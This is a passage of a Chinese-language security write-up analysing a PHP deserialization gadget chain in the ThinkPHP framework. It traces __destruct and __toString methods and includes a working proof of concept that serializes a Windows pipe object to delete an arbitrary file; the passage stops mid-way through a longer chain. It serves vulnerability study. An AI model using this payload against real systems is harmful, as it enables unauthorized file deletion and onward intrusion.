一、任意文件删除
搜索__destruct魔术方法,找到四个,能利用的只有Windows.php中的魔术方法
public function __destruct()
{
$this->close();
$this->removeFiles();
}
追踪removeFiles()
private function removeFiles()
{
foreach ($this->files as $filename) {
if (file_exists($filename)) {
@unlink($filename);
}
}
$this->files = [];
}
发现是一个删除文件的方法,并且参数可控,存在删除任意文件漏洞
POC:
<?php
namespace think\process\pipes;
class Pipes{
}
class Windows extends Pipes{
private $files = ['/opt/lampp/htdocs/security/upload/shell.php'];
}
$file = new Windows();
echo urlencode(serialize($file));
二、反序列化漏洞
1、搜索关键函数destruct与wakeup两个反序列化一定会触发的魔术方法,wakeup需要进行反序列化时调用,所以先不考虑,搜索destruct,一共四个结果,而能利用的只有Windows.php
继续追踪close(),发现没有利用点,返回来追踪removeFiles(),发现是删除文件的函数,但是file_exists接受的参数是一个字符串,所以查找__toString魔术方法,看看能不能触发,发现一共四处定义了该魔术方法
Paginator.php:
Collection.php:
input.php:
Conversion.php:
但可控点只有三处,排除input.php,剩下的三个继续追踪,Paginator.php追踪后没有发现可利用点,排除,继续追踪Collection.php发现也没有可利用点(至于为什么没有可利用点慢慢探究,锻炼自己的基本功,这里不做详细介绍)所以只剩Conversion.php
toJson->toArray,前面的没有可控点,直接来到下面,代码如下:
if (!empty($this->append)) {
foreach ($this->append as $key => $name) {
if (is_array($name)) {
// 追加关联对象属性
$relation = $this->getRelation($key);
if (!$relation) {
$relation = $this->getAttr($key);
$relation->visible($name);
}
$item[$key] = $relation->append($name)->toArray();
append为可控点,往下探查是否有利用点,追踪getRelation只是简单返回值,往下走,追踪getAttr,追踪getData,两条路有可控点:
public function getData($name = null)